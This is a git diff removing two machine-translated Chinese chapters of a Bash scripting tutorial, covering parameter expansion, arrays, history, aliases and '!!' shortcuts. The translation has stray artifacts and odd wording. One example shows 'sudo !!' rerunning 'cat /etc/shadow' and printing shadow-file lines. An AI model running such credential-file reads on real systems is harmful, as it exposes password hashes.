-简单地说,模式替换允许我们用其他东西替换一个模式(谁能想到呢!).这是我们已经可以用`sed`做的事情: - -```sh -reader@ubuntu:~/scripts/chapter_16$ echo "Hi" -Hi -reader@ubuntu:~/scripts/chapter_16$ echo "Hi" | sed 's/Hi/Bye/' -Bye -``` - -最初,我们的`echo`包含`Hi`这个词。然后我们通过`sed`进行管道传输,在其中我们寻找*模式*T3,我们将*用`Bye`替换*。`sed`指令前面的`s`表示我们正在搜索和更换。 - -看,在`sed`解析完流之后,我们的屏幕上出现了`Bye`。 - -如果我们想在使用一个变量时做同样的事情,我们有两个选择:我们要么像以前一样通过`sed`解析它,要么转向我们新的最好的朋友进行另一个伟大的参数扩展: - -${parameter/pattern/string} -**Pattern substitution.** The pattern is expanded to produce a pattern just as in pathname expansion. Parameter is expanded and the longest match of pattern against its value is replaced with string. If pattern begins with /, all matches of pattern are replaced with string. - -因此,对于`${sentence}`变量,我们可以用`${sentence/pattern/string}`替换模式的第一个实例,或者用`${sentence//pattern/string}`替换模式的所有实例(注意额外的正斜杠)。 - -在命令行上,它可能如下所示: - -```sh -reader@ubuntu:~$ sentence="How much wood would a woodchuck chuck if a woodchuck could chuck wood?" -reader@ubuntu:~$ echo ${sentence} -How much wood would a woodchuck chuck if a woodchuck could chuck wood? -reader@ubuntu:~$ echo ${sentence/wood/stone} -How much stone would a woodchuck chuck if a woodchuck could chuck wood? -reader@ubuntu:~$ echo ${sentence//wood/stone} -How much stone would a stonechuck chuck if a stonechuck could chuck stone reader@ubuntu:~$ echo ${sentence} -How much wood would a woodchuck chuck if a woodchuck could chuck wood? -``` - -再说一次,这非常简单易懂。 - -需要意识到的一件重要事情是,这个参数扩展实际上并没有编辑变量的值:它只影响当前的替换。如果您想对变量进行永久操作,您需要再次将结果写入变量,如下所示: - -```sh -reader@ubuntu:~$ sentence_mutated=${sentence//wood/stone} -reader@ubuntu:~$ echo ${sentence_mutated} -How much stone would a stonechuck chuck if a stonechuck could chuck stone? -``` - -或者,如果您希望在突变后保留变量名,可以一次性将突变值赋回变量,如下所示: - -```sh -reader@ubuntu:~$ sentence=${sentence//wood/stone} -reader@ubuntu:~$ echo ${sentence} -How much stone would a stonechuck chuck if a stonechuck could chuck stone? -``` - -在脚本中使用这种语法应该不难想象。举一个简单的例子,我们创建了一个小的互动测试,如果用户碰巧对我们非常不固执己见的问题给出了错误的答案,我们将*帮助*: - -```sh -reader@ubuntu:~/scripts/chapter_16$ vim forbidden-word.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-12-16 -# Description: Blocks the use of the forbidden word! -# Usage: ./forbidden-word.sh -##################################### - -read -p "What is your favorite shell? " answer - -echo "Great choice, my favorite shell is also ${answer/zsh/bash}!" - -reader@ubuntu:~/scripts/chapter_16$ bash forbidden-word.sh -What is your favorite shell? bash -Great choice, my favorite shell is also bash! -reader@ubuntu:~/scripts/chapter_16$ bash forbidden-word.sh -What is your favorite shell? zsh -Great choice, my favorite shell is also bash! -``` - -在这个脚本中,如果用户暂时*困惑*并且没有给出想要的答案,我们将简单地用*正确的*答案、`bash`替换他们的*错误的*答案(`zsh`)。 - -抛开所有笑话不谈,其他 Shell 如`zsh`、`ksh`,甚至是更新的鱼都有自己独特的卖点和优势,这让一些用户在日常工作中更喜欢它们而不是 Bash。这显然很棒,也是使用 Linux 心态的一大部分:你可以自由选择你喜欢的软件! - -然而,说到脚本,我们(显然)认为 Bash 仍然是 shell 之王,原因很简单,它已经成为大多数发行版事实上的 shell。当涉及到可移植性和互操作性时,这非常有帮助,这些品质通常对脚本有益。 - -# 图案去除 - -与模式替代密切相关的一个话题是*模式移除*。让我们面对它,模式移除基本上等同于用无替换一个模式。 - -如果模式移除与模式替换具有完全相同的功能,我们就不需要它了。然而,模式移除有一些很酷的技巧,用模式替换很难甚至不可能做到。 - -模式移除有两个选项:移除匹配的模式*前缀*或*后缀*。简单地说,它允许你从开头或结尾删除内容。它还有一个选项,可以在第一个匹配的模式之后停止,也可以一直持续到最后一个模式。 - -没有一个好的例子,这可能有点太抽象了(这绝对是我们第一次遇到这种情况)。然而,这里有一个很好的例子:这一切都与文件有关: - -```sh -reader@ubuntu:/tmp$ touch file.txt -reader@ubuntu:/tmp$ file=/tmp/file.txt -reader@ubuntu:/tmp$ echo ${file} -/tmp/file.txt -``` - -我们已经创建了一个包含文件引用的变量。如果我们想要目录,或者没有目录的文件,我们可以使用`basename`或者`dirname`,如下所示: - -```sh -reader@ubuntu:/tmp$ basename ${file} -file.txt -reader@ubuntu:/tmp$ dirname ${file} -/tmp -``` - -我们还可以通过参数扩展来实现这一点。删除前缀和后缀的语法如下: - -${parameter#word} -${parameter##word} -**Remove matching prefix pattern.** ${parameter%word}${parameter%%word} **Remove matching suffix pattern.** - -对于我们的`${file}`变量,我们可以使用参数展开来移除所有目录,只保留文件名,如下所示: - -```sh -reader@ubuntu:/tmp$ echo ${file#/} -tmp/file.txt -reader@ubuntu:/tmp$ echo ${file#*/} -tmp/file.txt -reader@ubuntu:/tmp$ echo ${file##/} -tmp/file.txt -reader@ubuntu:/tmp$ echo ${file##*/} -file.txt -``` - -第一个和第二个命令之间的差别很小:我们使用星号通配符,它可以匹配任何东西,零次或更多次。在这种情况下,由于变量值以正斜杠开头,因此不匹配。然而,我们一到了第三个命令,就看到了包含它的必要性:我们需要匹配*所有我们想要删除的*。 - -在这种情况下,`*/`模式在`/tmp/`上匹配,而`/`模式仅在第一个正斜杠上匹配(如第三个命令的结果清楚显示的)。 - -请记住,在这种情况下,我们只是使用参数扩展来替换`basename`命令的功能。然而,如果我们不处理文件引用,而是(例如)下划线分隔的文件,我们就不能用`basename`实现这一点,参数扩展将会非常方便! - -既然我们已经看到了前缀的作用,那么让我们来看看后缀。功能的顺序是一样的,但是我们现在不是从值的开始解析,而是先看值的结尾。例如,我们可以使用它从文件中删除扩展名: - -```sh -reader@ubuntu:/tmp$ file=file.txt -reader@ubuntu:/tmp$ echo ${file%.*} -file -``` - -这允许我们获取文件名,没有扩展名。如果脚本中有一些逻辑可以应用于文件的这一部分,这可能是可取的。以我们的经验,这比你想象的还要普遍! - -例如,您可能会设想备份的文件名中有一个日期,您希望将其与今天的日期进行比较,以确保备份成功。一点点的参数扩展可以让你得到你想要的格式,所以日期的比较是微不足道的。 - -就像我们能够替换`basename`命令一样,我们可以通过删除后缀模式来找到`dirname`,如下所示: - -```sh -reader@ubuntu:/tmp$ file=/tmp/file.txt -reader@ubuntu:/tmp$ echo ${file%/*} -/tmp -``` - -同样,这些例子主要用于教育目的。在许多情况下,这可能是有用的;由于这些差异很大,很难给出一个让所有人都感兴趣的例子。 - -但是,我们介绍的备份情况可能与您相关。作为一个基本脚本,它看起来像这样: - -```sh -reader@ubuntu:~/scripts/chapter_16$ vim check-backup.sh -reader@ubuntu:~/scripts/chapter_16$ cat check-backup.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-12-16 -# Description: Check if daily backup has succeeded. -# Usage: ./check-backup.sh -##################################### - -# Format the date: yyyymmdd. -DATE_FORMAT=$(date +%Y%m%d) - -# Use basename to remove directory, expansion to remove extension. -file=$(basename ${1%%.*}) # Double %% so .tar.gz works too. - -if [[ ${file} == "backup-${DATE_FORMAT}" ]]; then - echo "Backup with todays date found, all good." - exit 0 # Successful. -else - echo "No backup with todays date found, please double check!" - exit 1 # Unsuccessful. -fi - -reader@ubuntu:~/scripts/chapter_16$ touch /tmp/backup-20181215.tar.gz -reader@ubuntu:~/scripts/chapter_16$ touch /tmp/backup-20181216.tar.gz -reader@ubuntu:~/scripts/chapter_16$ bash -x check-backup.sh /tmp/backup-20181216.tar.gz -++ date +%Y%m%d -+ DATE_FORMAT=20181216 -++ basename /tmp/backup-20181216 -+ file=backup-20181216 -+ [[ backup-20181216 == backup-20181216 ]] -+ echo 'Backup with todays date found, all good.' -Backup with todays date found, all good. -+ exit 0 -reader@ubuntu:~/scripts/chapter_16$ bash check-backup.sh /tmp/backup-20181215.tar.gz -No backup with todays date found, please double check! -``` - -为了说明这一点,我们正在接触虚拟备份文件。对于真实的情况,你更有可能在一个目录中获取最新的文件(例如`ls -ltr /backups/ | awk '{print $9}' | tail -1`),并将其与当前日期进行比较。 - -与 Bash 脚本中的大多数事情一样,还有其他方法来完成这种日期检查。你可能会说,我们可以将扩展名留在文件变量中,并使用解析日期的正则表达式:这也同样有效,工作量几乎相同。 - -这个例子(以及整本书,真的)的要点应该是使用一些对你和你的组织有用的东西*,只要你以健壮的方式构建了它,并添加了必要的注释,让每个人都明白你做了什么!* - - *# 案例修改 - -接下来是我们已经简要看到的另一个参数扩展:*案例修改。*在这种情况下,大小写指的是小写和大写字母。 - -在我们最初在[第 9 章](09.html)、*错误检查和处理*中创建的`yes-no-optimized.sh`脚本中,我们有以下说明: - -```sh -reader@ubuntu:~/scripts/chapter_09$ cat yes-no-optimized.sh - -read -p "Do you like this question? " reply_variable - -# See if the user responded positively. -if [[ ${reply_variable,,} = 'y' || ${reply_variable,,} = 'yes' ]]; then - echo "Great, I worked really hard on it!" - exit 0 -fi - -# Maybe the user responded negatively? -if [[ ${reply_variable^^} = 'N' || ${reply_variable^^} = 'NO' ]]; then - echo "You did not? But I worked so hard on it!" - exit 0 -fi -``` - -正如你所料,变量花括号内的`,,`和`^^`就是我们正在讨论的参数展开。 - -`man bash`上的语法如下: - -${parameter^pattern} -${parameter^^pattern} -${parameter,pattern} -${parameter,,pattern} -**Case modification.** This expansion modifies the case of alphabetic characters in parameter. The pattern is expanded to produce a pattern just as in pathname expansion. Each character in the expanded value of parameter is tested against pattern, and, if it matches the pattern, its case is converted. The pattern should not attempt to match more than one character. - -在我们的第一个脚本中,我们没有使用模式。当不使用模式时,暗示该模式是通配符(在本例中为`?`),这意味着一切都匹配。 - -小写和大写修改的快速命令行示例应该可以解决这个问题。首先,让我们看看如何将变量大写: - -```sh -reader@ubuntu:~/scripts/chapter_16$ string=yes -reader@ubuntu:~/scripts/chapter_16$ echo ${string} -yes -reader@ubuntu:~/scripts/chapter_16$ echo ${string^} -Yes -reader@ubuntu:~/scripts/chapter_16$ echo ${string^^} -YES -``` - -如果我们使用单个插入符号(`^`),我们可以看到变量值的第一个字母将被大写。如果我们使用双插入符号`^^`,我们现在有大写的整数值。 - -同样,逗号对小写字母也有同样的作用: - -```sh -reader@ubuntu:~/scripts/chapter_16$ STRING=YES -reader@ubuntu:~/scripts/chapter_16$ echo ${STRING} -YES -reader@ubuntu:~/scripts/chapter_16$ echo ${STRING,} -yES -reader@ubuntu:~/scripts/chapter_16$ echo ${STRING,,} -yes -``` - -因为我们可以选择大写或小写整个值,我们现在可以更容易地将用户输入与预定义的值进行比较。无论用户输入`YES`、`Yes`还是`yes`,我们都可以通过一次检查来验证所有这些情况:`${input,,} == 'yes'`。 - -这让用户少了一些头疼,一个快乐的用户才是我们想要的(记住,你往往是自己脚本的用户,你值得快乐!). - -现在,对于*模式*,正如`man page`所指定的。根据我们的个人经验,我们还没有使用这个选项,但是它功能强大且灵活,所以对此多做一点解释不会有什么坏处。 - -基本上,只有当模式匹配时,才会执行案例修改。这可能会有点棘手,但您可以在这里看到它是如何工作的: - -```sh -reader@ubuntu:~/scripts/chapter_16$ animal=salamander -reader@ubuntu:~/scripts/chapter_16$ echo ${animal^a} -salamander -reader@ubuntu:~/scripts/chapter_16$ echo ${animal^^a} -sAlAmAnder -reader@ubuntu:~/scripts/chapter_16$ echo ${animal^^ae} -salamander -reader@ubuntu:~/scripts/chapter_16$ echo ${animal^^[ae]} -sAlAmAndEr -``` - -我们运行的第一个命令`${animal^a}`只有在第一个字母与模式`a`匹配的情况下才会大写。由于第一个字母实际上是一个`s`,整个单词被打印为小写。 - -对于下一个命令,`${animal^^a}`、*所有匹配的字母*都是大写的。因此,`salamander`一词中`a`的所有三个实例都是大写的。 - -在第三个命令中,我们尝试给模式添加一个额外的字母。因为这不是正确的方法,所以参数扩展(很可能)试图找到一个字母来匹配模式中的两个字母。剧透警报:这是非常不可能的。只要我们在组合中引入一些正则表达式的专业知识,我们就可以做我们想做的事情:通过使用`[ae]`,我们指定`a`和`e`都是案例修改操作的有效目标。 - -最后,返回的动物现在是`sAlAmAndEr`,所有元音都使用自定义模式结合大小写修改参数扩展来大写! - -作为小小的奖励,我们想分享一个甚至不在`man bash`页面的案例修改!也没那么复杂。如果您用波浪符号`~`替换`,`或`^`,您将获得*案例反转*。如您所料,单个波浪符号仅在第一个字母上起作用(如果它与模式匹配,如果指定的话),而双波浪符号将在模式的所有实例上起作用(如果没有指定模式,并且使用默认的`?`模式,则为全部)。 - -看一看: - -```sh -reader@ubuntu:~/scripts/chapter_16$ name=Sebastiaan -reader@ubuntu:~/scripts/chapter_16$ echo ${name} -Sebastiaan -reader@ubuntu:~/scripts/chapter_16$ echo ${name~} -sebastiaan -reader@ubuntu:~/scripts/chapter_16$ echo ${name~~} -sEBASTIAAN reader@ubuntu:~/scripts/chapter_16$ echo ${name~~a} -SebAstiAAn -``` - -这应该是对大小写修改的充分解释,因为所有语法都是相似且可预测的。 - -既然你已经知道了如何小写、大写,甚至反转变量的大小写,你应该能够以任何你喜欢的方式变异它们,尤其是如果你在混合中添加一个模式,这个参数扩展提供了许多可能性! - -# 子串扩展 - -只剩下一个关于参数扩展的主题:子串扩展。虽然您可能听说过子串,但它也可能是一个听起来非常复杂的术语。 - -好在其实是*真的真的*简单。如果我们取一个字符串,比如*今天是伟大的一天*,那么那个句子中顺序正确但不是完整句子的任何部分都可以被认为是完整字符串的子串。这方面的例子如下: - -* 今天是 -* 伟大的一天 -* 白天是一个 gre -* 今天是伟大的一天 -* o -* ( - -从这些例子中可以看出,我们不是看句子的语义,而是简单地看字符:任何数量的字符以正确的顺序可以被认为是一个子串。这包括整句话减去一个字母,但也包括仅仅一个字母,甚至一个空格字符。 - -那么,让我们最后看一下这个参数扩展的语法: - -${parameter:offset} -${parameter:offset:length} -**Substring Expansion.** Expands to up to length characters of the value of parameter starting at the character specified by offset. - -基本上,我们指定应该从哪里开始我们的子字符串,以及它应该有多长(以字符为单位)。与大多数计算机一样,第一个字符将被认为是`0`(而不是任何非技术人员可能会想到的`1`)。如果我们省略长度,我们将得到偏移后的所有内容;如果我们真的指定了它,我们会得到精确的字符数。 - -让我们看看这对我们的句子有什么作用: - -```sh -reader@ubuntu:~/scripts/chapter_16$ sentence="Today is a great day" -reader@ubuntu:~/scripts/chapter_16$ echo ${sentence} -Today is a great day -reader@ubuntu:~/scripts/chapter_16$ echo ${sentence:0:5} -Today -reader@ubuntu:~/scripts/chapter_16$ echo ${sentence:1:6} -oday is -reader@ubuntu:~/scripts/chapter_16$ echo ${sentence:11} -great day -``` - -在我们的命令行示例中,我们首先创建包含先前给定文本的`${sentence}`变量。首先,我们完全`echo`它,在我们使用`${sentence:0:5}`只打印前五个字符之前(记住,字符串从 0 开始!). - -接下来,我们打印前六个字符,从第二个字符开始(由`:1:6`符号表示)。在最后一个命令中,`echo ${sentence:11}`显示我们也可以使用子串扩展,而不需要指定长度。在这种情况下,Bash 将简单地打印从偏移量开始的所有内容,直到它到达变量值的末尾。 - -我们想用我们之前做出的承诺来结束这一章:我们的三个字母的首字母缩略词脚本。现在我们知道如何从用户输入中轻松提取单独的字母,创建一首圣歌将会很有趣! - -让我们修改剧本: - -```sh -reader@ubuntu:~/scripts/chapter_16$ cp acronyms.sh acronym-chant.sh -reader@ubuntu:~/scripts/chapter_16$ vim acronym-chant.sh -reader@ubuntu:~/scripts/chapter_16$ cat acronym-chant.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-12-16 -# Description: Verify argument length, with a chant! -# Usage: ./acronym-chant.sh -##################################### - - -# Split the string into three letters using substring expansion. -first_letter=${acronym:0:1} -second_letter=${acronym:1:1} -third_letter=${acronym:2:1} - -# Print our chant. -echo "Give me the ${first_letter^}!" -echo "Give me the ${second_letter^}!" -echo "Give me the ${third_letter^}!" - -echo "What does that make? ${acronym^^}!" -``` - -为了更好地衡量,我们在里面加入了一些案例修改。在我们使用子串扩展分割字母后,我们不能确定用户给我们呈现的大小写。因为这是一首圣歌,我们假设大写字母是一个不错的主意,我们将大写所有的东西。 - -对于单个字母,单个插入符号就可以了。对于完整的首字母缩略词,我们使用双括号,以便所有三个字符都是大写的。使用`${acronym:0:1}`、`${acronym:1:1}`和`${acronym:2:1}`的子串展开,我们能够得到单个字母(因为*长度*总是 1,但是偏移量不同)。 - -为了更好的可读性,我们在使用这些字母之前,将它们分配给自己的变量。我们也可以在`echo`中直接使用`${acronym:0:1}`,但是由于这个脚本不太长,我们选择了额外变量的更详细的选项,其中名称给出了我们通过子串扩展实现的结果。 - -最后,让我们运行最后一个脚本,享受我们的个人圣歌: - -```sh -reader@ubuntu:~/scripts/chapter_16$ bash acronym-chant.sh Sql -Give me the S! -Give me the Q! -Give me the L! -What does that make? SQL! -reader@ubuntu:~/scripts/chapter_16$ bash acronym-chant.sh dba -Give me the D! -Give me the B! -Give me the A! -What does that make? DBA! -reader@ubuntu:~/scripts/chapter_16$ bash acronym-chant.sh USA -Give me the U! -Give me the S! -Give me the A! -What does that make? USA! -``` - -大小写混合,小写,大写,都没关系:不管用户输入什么,只要是三个字符,我们的圣歌就可以了。好东西!谁知道子串扩展会这么方便? - -One very advanced parameter expansion feature is so-called *parameter transformation*. Its syntax, `${parameter@operator}`, allows some complex operators to be performed on the parameter. To get an idea of what this can do, head over to `man bash` and look for Parameter transformation. You'll probably never need it, but the functionality is really cool, so it is definitely worth a look! - -# 摘要 - -在本章中,我们已经讨论了 Bash 中的所有参数扩展。我们从概述我们如何在本书的大部分内容中使用参数替换开始,参数替换只是 Bash 参数扩展的一小部分。 - -我们继续向您展示如何使用参数扩展来包含变量的默认值,以防用户不提供自己的值。该功能还允许我们在输入丢失时向用户显示错误消息,尽管不是以最干净的方式。 - -我们结束了对参数扩展的介绍,向您展示了如何使用它来确定变量值的长度,并向您展示了我们如何在书中以`$#`语法的形式广泛使用它。 - -我们继续在*变量操作*的标题下描述参数展开。这包括*模式替换*的功能,它允许我们用另一个字符串替换变量的一部分值(*模式*)。在非常相似的功能中,*模式移除*允许我们移除一些与模式匹配的值。 - -接下来,我们向您展示了如何将字符从小写转换为大写,反之亦然。本书前面已经提到了这个功能,但是我们现在已经更深入地解释了它。 - -我们以*子串扩展*结束本章,这允许我们从*偏移*和/或以指定的*长度获取部分变量。* - -本章介绍了以下命令:`export`和`dirname`。 - -# 问题 - -1. 什么是参数替代? -2. 我们如何为我们定义的变量包含默认值? -3. 我们如何使用参数扩展来处理丢失的参数值? -4. `${#*}`是做什么的? -5. 谈论参数展开时,模式替换是如何工作的? -6. 模式移除和模式替换有什么关系? -7. 我们可以执行哪些类型的案例修改? -8. 我们可以用哪两件事从变量值中获取子串? - -# 进一步阅读 - -有关本章主题的更多信息,请参考以下链接: - -* **TLDP 上程换人**:[http://www.tldp.org/LDP/abs/html/process-sub.html](http://www.tldp.org/LDP/abs/html/process-sub.html) -* **TLDP 关于参数替换**:[https://www . tldp . org/LDP/ABS/html/parameter-replacement . html](https://www.tldp.org/LDP/abs/html/parameter-substitution.html)T4】 -* **参数扩展上的 GNU**:[https://www . GNU . org/software/bash/manual/html _ node/Shell-Parameter-expansion . html](https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html)* \ No newline at end of file diff --git a/docs/learn-linux-shell-script/17.md b/docs/learn-linux-shell-script/17.md deleted file mode 100644 index 7f940bbb..00000000 --- a/docs/learn-linux-shell-script/17.md +++ /dev/null @@ -1,668 +0,0 @@ -# 十七、提示和技巧的备忘单 - -在这最后一章中,我们收集了一些提示和技巧来帮助您的脚本之旅。首先,我们将涉及一些重要的主题,但在前面的章节中没有直接提到。然后,我们将向您展示一些实用的命令行快捷方式,这将有助于您在做终端工作时提高速度。最后,我们将以本书中讨论的最重要的交互命令的备忘单结束。 - -本章将介绍以下命令:`history`和`clear`。 - -本章将涵盖以下主题: - -* 一般提示和技巧 -* 命令行快捷方式 -* 交互式命令的备忘单 - -# 技术要求 - -由于本章主要由提示组成,因此没有我们在前面章节中看到的脚本。要真正感受到这些技巧,你应该自己尝试一下。作为最后的告别,你的 Ubuntu 虚拟机可以很好地为你服务这最后一次! - -# 一般提示和技巧 - -在这一章的第一部分,我们将描述一些我们在书中其他部分无法恰当描述的事情。除了第一个主题,*数组*,这两个`history`和`alias`都没有真正在脚本环境中使用,所以我们选择在这里展示它们。但是首先,数组! - -# 数组 - -如果你来自开发人员背景或涉猎过编程,你将(很可能)遇到术语*数组*。如果我们需要用一句话来解释数组,它应该是这样的:数组允许我们存储一组相同类型的*数据**。为了让这变得不那么抽象,我们将向您展示如何在 Bash 中创建一个字符串*数组*:* - -```sh -reader@ubuntu:~$ array=("This" "is" "an" "array") -reader@ubuntu:~$ echo ${array[0]} -This -reader@ubuntu:~$ echo ${array[1]} -is -reader@ubuntu:~$ echo ${array[2]} -an -reader@ubuntu:~$ echo ${array[3]} -array -``` - -在这个字符串数组中,我们放置了四个元素: - -* 这 -* 存在 -* 一;一个 -* 排列 - -如果我们想在数组的第一个位置打印字符串,我们需要用`echo ${array[0]}`语法指定我们想要的*第零个位置*。请记住,正如 IT 中常见的那样,列表中的第一项通常位于第 0 个位置。现在,看看如果我们试图抓住第四个位置,从而抓住第五个值(不存在)会发生什么: - -```sh -reader@ubuntu:~$ echo ${array[4]} - # <- Nothing is printed here. -reader@ubuntu:~$ echo $? -0 -reader@ubuntu:~$ echo ${array[*]} -This is an array -``` - -奇怪的是,即使我们要求数组中不存在的位置的值,Bash 也不认为这是一个错误。如果你在一些编程语言中也这样做,比如 Java,你会看到类似于`**ArrayIndexOutOfBoundsException**`的错误。在`0`退出状态后可以看到,如果我们想打印*数组*中的所有值,我们使用星号(作为通配符)。 - -在我们的脚本示例中,为了简单一点,我们在需要创建列表时使用了*空格分隔的字符串*(作为参考,再次查看[第 11 章](11.html)、*条件测试和脚本循环*中的脚本`**for-simple.sh**`)。根据我们的经验,对于大多数目的来说,这通常更容易操作,并且足够强大。然而,如果您的脚本挑战看起来不是这样的,请记住 Bash 中存在数组这样的东西,也许这些可能对您有用。 - -# 历史命令 - -Bash 中一个非常强大和酷的命令是`history`。简而言之,默认情况下,Bash *将存储您键入的所有命令的历史记录*。这些被保存到某个阈值,对于我们的 Ubuntu 18.04 安装,这是内存中的 1000 个命令*和磁盘上的 2000 个命令*。每次您彻底退出/注销终端时,Bash 都会将命令历史从内存写入磁盘,同时考虑这两个限制。** - - **在我们深入(一点)之前,让我们来看看`**reader**`用户的个人历史: - -```sh -reader@ubuntu:~$ history - 1013 date - 1014 at 11:49 << wall "Hi" - 1015 at 11:49 <<< wall "Hi" - 1016 echo 'wall "Hi"' | at 11:49 - - 1998 array=("This" "is" "an" "array") - 1999 echo ${array[0]} - 2000 echo ${array[1]} - 2001 echo ${array[2]} - 2002 echo ${array[3]} - 2003 echo ${array[4]} - 2004 echo ${array[*]} -``` - -尽管我们的历史很有趣,但在这里全文刊登还不够有趣。通常,如果您在实践中使用这种方法,它也很容易成为信息过载。我们建议您以下列方式使用`history`命令: - -* `history | less` -* `history | grep sed` - -如果你把它接到`less`上,你会得到一个很好的寻呼机,你可以从容地浏览并使用中的搜索功能。当您使用`**q**`退出时,您将回到您整洁的终端。如果你正在寻找一个特定的命令(比如`sed`),你也可以通过`grep`命令将`history`的输出进行管道化,以制作一个进程过滤器。如果还是太粗糙,可以考虑在`grep`后面加`| less`,再次使用寻呼机。 - -历史的配置可以在一些环境变量中找到,这些变量通常在您的`**~/.bashrc**`文件中设置: - -```sh -reader@ubuntu:~$ cat .bashrc - -# for setting history length see HISTSIZE and HISTFILESIZE in bash(1) -HISTSIZE=1000 -HISTFILESIZE=2000 - -``` - -在这里,您可以看到我们已经宣布的两个默认值(如果您愿意,可以对其进行编辑!).对于其他人,`man bash`将通知您以下内容: - -* 列举控件 -* HISTFILE(历史文件) -* HISTTIMEFORMAT - -一定要快速阅读。不要低估`history`命令的便捷程度;你肯定会发现你自己*几乎*记得你以前是如何使用命令的,如果你记得足够多,你可以使用`history`找出你做了什么,这样你就可以再做一次。 - -# 创建您自己的别名 - -Bash 允许您为命令创建自己的别名。我们在[第 14 章](14.html)、*调度和日志*中已经看到了这个介绍,但是对于日常任务来说,值得进一步探讨一下。语法非常简单: - -```sh -alias name=value -``` - -在这个语法中,`alias`是命令,`name`是你在终端上调用`alias`的方式,`value`是你调用`alias`时实际调用的方式。对于交互式工作,这可能如下所示: - -```sh -reader@ubuntu:~$ alias message='echo "Hello world!"' -reader@ubuntu:~$ message -Hello world! -``` - -我们创建了别名`message`,它在被调用时实际上为我们做了`echo "Hello world!"`。对于那些稍微有点经验的人来说,毫无疑问,你们已经使用“命令”`ll`有一段时间了。你可能记得(也可能不记得),这是一个常见的默认`alias`。我们可以用`-p`标志打印当前设置的别名: - -```sh -reader@ubuntu:~$ alias -p - -alias grep='grep --color=auto' -alias l='ls -CF' -alias la='ls -A' -alias ll='ls -alF' -alias ls='ls --color=auto' -alias message='echo "Hello world!"' -``` - -如您所见,默认情况下,我们设置了一些别名,我们刚刚创建的别名也在那里。更有趣的是,我们可以用`alias`来*覆盖一个命令*,比如上面的`ls`。我们在书中的例子中一直使用`ls`,实际上我们一直在执行`ls --color=auto`!`grep`也是如此,正如印刷品清楚显示的那样。`ll`别名很快允许我们使用`ls`通用的、几乎是必不可少的标志。但是,您最好意识到这些别名是特定于分发的。以我的 Arch Linux 主机上的`ll`别名为例: - -```sh -[tammert@caladan ~]$ alias -p -alias ll='ls -lh' - -``` - -这和我们的 Ubuntu 机器不一样。至少,这回避了一个问题:这些默认别名设置在哪里?如果你还记得我们关于`**/etc/profile**`、`**/etc/bash.bashrc**`、`**~/.profile**`、`**~/.bashrc**`(在[第 14 章](14.html)、*调度和日志*的解释,我们知道这些文件是最有可能的候选文件。根据经验,您可以预期大多数别名都在`**~/.bashrc**`文件中: - -```sh -reader@ubuntu:~$ cat .bashrc - -# some more ls aliases -alias ll='ls -alF' -alias la='ls -A' -alias l='ls -CF' - -``` - -如果您有经常使用的命令,或者您希望“默认”包括的标志,您可以编辑您的`**~/.bashrc**`文件,并添加任意数量的`alias`命令。`.bashrc`文件中的任何命令都会在您登录时运行。如果您想使别名在系统范围内可用,`**/etc/profile**`或`**/etc/bash.bashrc**`文件将是包含您的`alias`命令的更好选择。否则,你将不得不编辑所有用户的个人`.bashrc`文件,当前的和未来的(这是没有效率的,所以你甚至不应该考虑这一点)。 - -# 命令行快捷方式 - -除了本章第一部分中的命令的便利性之外,还有另一种类型的省时工具,它不一定需要在 shell 脚本的上下文中讨论,但它仍然是一项巨大的资产,如果我们不与您分享它,我们会感觉很糟糕:命令行快捷方式。 - -# 带感叹号的乐趣 - -感叹号通常用于给文本一些强调,但在 Bash 下,它们实际上是一个`shell`关键词: - -```sh -reader@ubuntu:~$ type -a ! -! is a shell keyword -``` - -虽然术语“shell 关键字”并没有给我们一个很好的指示,但是我们可以通过感叹号完成很多事情。一个我们已经看到的:如果我们想否定一个`test`,我们可以在检查中提供感叹号。如果您想在您的终端上验证这一点,请使用`true`或`false`尝试以下操作: - -```sh -reader@ubuntu:~$ true -reader@ubuntu:~$ echo $? -0 -reader@ubuntu:~$ ! true -reader@ubuntu:~$ echo $? -1 -``` - -如您所见,感叹号反转了退出状态:true 变为 false,false 变为 true。感叹号的另一个很酷的特性是,在命令行中,一个双感叹号将被完整的 previous 命令替换,如下所示: - -```sh -reader@ubuntu:~$ echo "Hello world!" -Hello world! -reader@ubuntu:~$ !! -echo "Hello world!" -Hello world! -``` - -为了确保您清楚自己在重复什么,命令会与命令输出一起打印到 stdout。此外,我们还可以通过使用数字和冒号以及感叹号来选择重复命令的哪个部分。一如既往,`0`保留给第一个参数,`1`保留给第二个参数,以此类推。这方面的一个很好的例子如下: - -```sh -reader@ubuntu:/tmp$ touch file -reader@ubuntu:/tmp$ cp file new_file # cp=0, file=1, new_file=2 -reader@ubuntu:/tmp$ ls -l !:1 # Substituted as file. -ls -l file --rw-r--r-- 1 reader reader 0 Dec 22 19:11 file -reader@ubuntu:/tmp$ echo !:1 -echo -l --l -``` - -前面的例子说明了我们用`**!:1**`替换了前面命令的第二个字。请注意,如果我们对`ls -l file`命令重复此操作,第二个单词实际上是`ls`命令的`-l`标志,因此不要假设只解析完整的命令;这是一个简单的空白分隔索引。 - -就我们而言,感叹号有一个致命的特点:T0 结构。这是相同类型的替换,从`vim`中`**$**`的工作原理可以猜到,它替换了前一个命令的最后一个单词。虽然这看起来没什么大不了的,但是看看前一个命令的最后一个单词是您可以重用的: - -```sh -reader@ubuntu:/tmp$ mkdir newdir -reader@ubuntu:/tmp$ cd !$ -cd newdir reader@ubuntu:/tmp/newdir -``` - -或者,复制要编辑的文件时: - -```sh -reader@ubuntu:/tmp$ cp file new_file -reader@ubuntu:/tmp$ vim !$ -vim new_file -``` - -一旦你开始在实践中使用它,你会发现这个技巧适用于如此多的命令,它会立即开始为你节省时间。在这些例子中,名字很短,但如果我们说的是长路径名,我们要么必须将手从键盘上移开,借助鼠标进行复制/粘贴,要么再次键入所有内容。当一个简单的`**!$**`起作用时,你为什么要这么做? - -同样,这也可以很快成为救命稻草,有一个非常好的例子说明何时使用`**!!**`。看看下面这种情况,大家都遇到过或者迟早会遇到: - -```sh -reader@ubuntu:~$ cat /etc/shadow -cat: /etc/shadow: Permission denied -reader@ubuntu:~$ sudo !! -sudo cat /etc/shadow -[sudo] password for reader: -root:*:17647:0:99999:7::: -daemon:*:17647:0:99999:7::: -bin:*:17647:0:99999:7::: - -``` 